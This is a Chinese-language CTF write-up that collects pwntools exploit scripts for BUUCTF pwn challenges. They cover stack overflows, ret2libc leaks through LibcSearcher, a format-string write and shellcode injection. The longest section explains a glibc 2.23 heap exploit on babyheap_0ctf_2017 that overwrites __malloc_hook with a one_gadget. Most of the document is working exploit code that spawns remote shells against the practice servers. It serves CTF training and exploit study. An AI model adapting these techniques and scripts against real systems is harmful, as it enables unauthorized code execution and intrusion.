重点讲解第26题:babyheap的解题方法。
buu017-not_the_same_3dsctf_2016
1 2 3 4 5 6 7 8 9 10 11 from pwn import *io = remote('node4.buuoj.cn' , 25850 ) elf = ELF('./pwn' ) payload = cyclic(0x2d ) + p32(elf.symbols['get_secret' ]) + p32(elf.symbols['write' ]) + p32(0xdeadbeef ) + p32(1 ) + p32(0x80ECA2D ) + p32(0x40 ) io.sendline(payload) io.interactive()
buu018-ciscn_2019_n_5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *context.arch='amd64' context.log_level='debug' io = remote('node4.buuoj.cn' , 29724 ) elf = ELF('./pwn' ) poprdi_ret = 0x400713 ret = 0x4004c9 bss = 0x601080 leave = 0x4006a9 io.sendlineafter(b'tell me your name' , asm(shellcraft.amd64.sh())) payload = cyclic(0x20 ) + p64(bss) + p64(bss) io.sendlineafter(b'What do you want to say to me?\n' , payload) io.interactive()
buu019-others_shellcode
连上就行
buu020-ciscn_2019_ne_5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import *context.log_level='debug' io = remote('node4.buuoj.cn' , 25761 ) elf = ELF('./pwn' ) io.sendlineafter(b'Please input admin password:' , b'administrator' ) payload = cyclic(76 ) + p32(elf.plt['puts' ]) + p32(elf.symbols['main' ]) + p32(elf.got['printf' ]) io.sendlineafter(b'0.Exit\n:' , b'1' ) io.sendlineafter(b'Please input new log info:' , payload) io.sendlineafter(b'0.Exit\n:' , b'4' ) io.recvuntil(p32(elf.got['printf' ]) + b'\n' ) printf = u32(io.recv(4 )) libc = LibcSearcher('printf' , printf) base = printf - libc.dump('printf' ) binsh = base + libc.dump('str_bin_sh' ) io.sendlineafter(b'Please input admin password:' , b'administrator' ) payload = cyclic(76 ) + p32(elf.plt['system' ]) + p32(0xdeadbeef ) + p32(binsh) io.sendlineafter(b'0.Exit\n:' , b'1' ) io.sendlineafter(b'Please input new log info:' , payload) io.sendlineafter(b'0.Exit\n:' , b'4' ) io.interactive()
buu021-铁人三项(第五赛区)_2018_rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from LibcSearcher import *context.log_level='debug' io = remote('node4.buuoj.cn' , 26419 ) elf = ELF('./pwn' ) payload = cyclic(0x8c ) + p32(elf.symbols['write' ]) + p32(elf.symbols['vulnerable_function' ]) payload += p32(1 ) + p32(elf.got['read' ]) + p32(24 ) io.sendline(payload) io.recv(16 ) write = u32(io.recv(4 )) print (hex (write))libc = LibcSearcher('write' , write) base = write - libc.dump('write' ) sys = base + libc.dump('system' ) binsh = base + libc.dump('str_bin_sh' ) print (hex (base))print (hex (sys))print (hex (binsh))payload = cyclic(0x8c ) + p32(sys) + p32(binsh) + p32(binsh) io.sendline(payload) io.interactive()
buu022-bjdctf_2020_babyrop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import *context.log_level='debug' io = remote('node4.buuoj.cn' , 27132 ) elf = ELF('./pwn' ) poprdi_ret = 0x400733 payload = cyclic(0x20 + 8 ) + p64(poprdi_ret) + p64(elf.got['puts' ]) payload += p64(elf.plt['puts' ]) payload += p64(elf.symbols['vuln' ]) io.sendlineafter(b'tell me u story!\n' , payload) puts = u64(io.recv(6 ) + b'\x00\x00' ) libc = LibcSearcher('puts' , puts) base = puts - libc.dump('puts' ) sys = base + libc.dump('system' ) binsh = base + libc.dump('str_bin_sh' ) print (hex (base))print (hex (sys))print (hex (binsh))payload = cyclic(0x20 + 8 ) + p64(poprdi_ret) + p64(binsh) payload += p64(sys) payload += p64(elf.symbols['vuln' ]) io.sendlineafter(b'tell me u story!\n' , payload) io.interactive()
buu023-bjdctf_2020_babystack2
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.log_level='debug' io = remote('node4.buuoj.cn' , 25497 ) elf = ELF('./pwn' ) io.sendlineafter(b'[+]Please input the length of your name:' , b'-1' ) io.sendlineafter(b'[+]What\'s u name?' , cyclic(16 +8 ) + p64(elf.symbols['backdoor' ])) io.interactive()
buu024-jarvisoj_fm
1 2 3 4 5 6 7 8 9 10 from pwn import *context.log_level='debug' io = remote('node4.buuoj.cn' , 29021 ) elf = ELF('./pwn' ) io.sendline(fmtstr_payload(11 , {0x804A02C : 4 })) io.interactive()
buu025-pwn2_sctf_2016
这一题真是吃尽苦头,LibcSearcher不给力,找半天也没找到适合的libc(应该是libc6-i386_2.23_0ubuntu10_amd64,但是由于LibcSearcher连的是ubuntu官网,这个版本被删了,然后就找不到了。。。)。看着这道题没做出来实在是气,不过又看到了程序中有一个int 80,于是思考能不能用系统调用解决问题。发现很难,因为给的gadget都是inc,执行完vuln函数之后eax,ebx,edx都是很小的值,总不可能一个inc执行几十万次吧?
查看了下gadget,ebx,edi,esi,ebp倒是能直接控制,对于eax,ecx,edx还是要费很多心思。
后来给用pip装的LibcSearcher卸了换上国人写的 就好了。果然还是国人给力o( ̄▽ ̄)d
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *context.log_level='debug' io = remote('node4.buuoj.cn' , 29855 ) elf = ELF('./pwn' ) def read_anyaddr (addr ): io.sendlineafter(b'want me to read? ' , b'-1' ) io.sendlineafter(b'bytes of data!' , cyclic(0x2C + 4 ) + p32(elf.plt['printf' ]) + p32(elf.symbols['vuln' ]) + p32(addr)) content = io.recvuntil(b'How' , drop=True ) return len (content) io.sendlineafter(b'How many bytes do you want me to read? ' , b'-1' ) io.sendlineafter(b'bytes of data!' , cyclic(0x2C + 4 ) + p32(elf.plt['printf' ]) + p32(elf.symbols['vuln' ]) + p32(elf.got['printf' ])) io.recvuntil(p32(elf.got['printf' ]) + b'\n' ) printf = u32(io.recv(4 )) libc = LibcSearcher('printf' , printf) print (hex (printf))base = printf - libc.dump('printf' ) sys = base + libc.dump('system' ) binsh = base + libc.dump('str_bin_sh' ) print (hex (base))print (hex (sys))print (hex (binsh))io.sendline(b'-1' ) io.sendlineafter(b'bytes of data!' , cyclic(0x2C + 4 ) + p32(sys) + p32(binsh) + p32(binsh)) io.interactive()
buu026-babyheap_0ctf_2017
第一道堆题。
解法:unsorted bin overlapping chunks + fastbin attack
提供了分配chunk、填充chunk、释放chunk、打印chunk内容4个功能。其中填充chunk功能没有进行边界检查,可以产生堆溢出:
简单看了一下,试了几下之后,发现这道题和前面所有题都截然不同,难度完全不是一个档次。
首先,这道题中对于内存的分配使用的是calloc而非malloc函数 ,这使得我们要想获得libc的加载地址必须首先进行堆块重叠后释放内部堆块,这样才能够通过读取外部堆块获取关键地址。另外,本题的堆块大小保存在一个单独的数组之中,可读取的大小也在这里保存,因此直接在堆中修改chunk的size并不能增加我们读取的长度 。要想实现堆块的重叠就必须首先释放堆块,通过堆溢出修改堆块的size后分配回来。但这样的话,由于calloc的特性,堆块中的所有内容都将被抹除,也就无法获取到地址的值。因此,要保留地址的值,我们不能将这个堆块全部分配回来。要知道,虽然内部重叠堆块的prev_size和size等信息虽然被清零,但仍然能够读取后面的内容,所以我们选择将修改过大小的堆块部分分配回来,留下一个last_remainder堆块保留在原先的内部堆块的内部。这样就可以通过访问内部堆块获取到地址的值了。
获取到了这里的地址,我们就可以获取到system函数和__free_hook的地址。本题环境为2.23,无tcache的影响,有通过fastbin attack修改__malloc_hook的可行性。
这是一开始__malloc_hook附近的情况:
要想在__malloc_hook附近分配chunk,首先需要通过检查:
1 2 3 4 5 6 7 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0 )) { errstr = "malloc(): memory corruption (fast)" ; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL ; }
下面是fastbin_index的宏定义:
1 2 #define fastbin_index(sz) \ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
我们可以通过地址错位达到目的:
address
+0
+1
+2
+3
+4
+5
+6
+7
0x7fc36e4ddaf0
60
c2
4d
6e
c3
7f
00
00
0x7fc36e4ddaf8
00
00
00
00
00
00
00
00
0x7fc36e4ddb00
a0
ee
19
6e
c3
7f
00
00
红色部分刚好能通过这个检查,需要使fd变为__malloc_hook-0x23才行,其对应的fastbin应该是存放0x70大小chunk的fastbin,因此我们要事先分配好0x70大小的chunk然后释放它,修改fd指针后再申请回来即可。
拿到__malloc_hook处的chunk后向__malloc_hook写入one_gadget即可,尝试了4个只有一个能成功,而且最后一次分配chunk还必须在interactive之后手动分配,自动分配打远程会卡住…
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *from LibcSearcher import *context.log_level='debug' io = process('./pwn' ) in_use = [False ] * 0x10 one_gadgets = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] def allocate (size ): io.sendlineafter(b'Command: ' , b'1' ) io.sendlineafter(b'Size: ' , str (size).encode()) io.recvuntil(b'Allocate Index ' ) allocated_index = int (io.recvuntil('\n' , drop=True ), 10 ) in_use[allocated_index] = True def fill (index, size, content ): io.sendlineafter(b'Command: ' , b'2' ) io.sendlineafter(b'Index: ' , str (index).encode()) io.sendlineafter(b'Size: ' , str (size).encode()) io.sendafter(b'Content: ' , content) def release (index ): io.sendlineafter(b'Command: ' , b'3' ) io.sendlineafter(b'Index: ' , str (index).encode()) in_use[index] = False def dump (index ): io.sendlineafter(b'Command: ' , b'4' ) io.sendlineafter(b'Index: ' , str (index).encode()) io.recvuntil(b'Content: \n' ) allocate(0x110 ) allocate(0x110 ) allocate(0x110 ) allocate(0x110 ) payload = cyclic(0x110 ) payload += p64(0x120 ) payload += p64(0x241 ) fill(0 , 0x120 , payload) release(1 ) allocate(0x130 ) dump(2 ) io.recv(0x20 ) malloc_hook = u64(io.recv(8 )) - 88 - 0x10 print (hex (malloc_hook))libc = LibcSearcher('__malloc_hook' , malloc_hook) base = malloc_hook - libc.dump('__malloc_hook' ) free_hook = base + libc.dump('__free_hook' ) fill(2 , 0x30 , b'\x00' * 0x18 + p64(0x100 ) + p64(malloc_hook + 0x10 + 88 ) + p64(malloc_hook + 0x10 + 88 )) allocate(0xf0 ) allocate(0x20 ) allocate(0x60 ) release(6 ) gdb.attach(io) fill(5 , 0x38 , b'\x00' * 0x20 + p64(0x30 ) + p64(0x71 ) + p64(malloc_hook - 0x23 )) allocate(0x60 ) allocate(0x60 ) fill(7 , 0x1B , b'\x00' * 0x13 + p64(one_gadgets[1 ] + base)) io.interactive()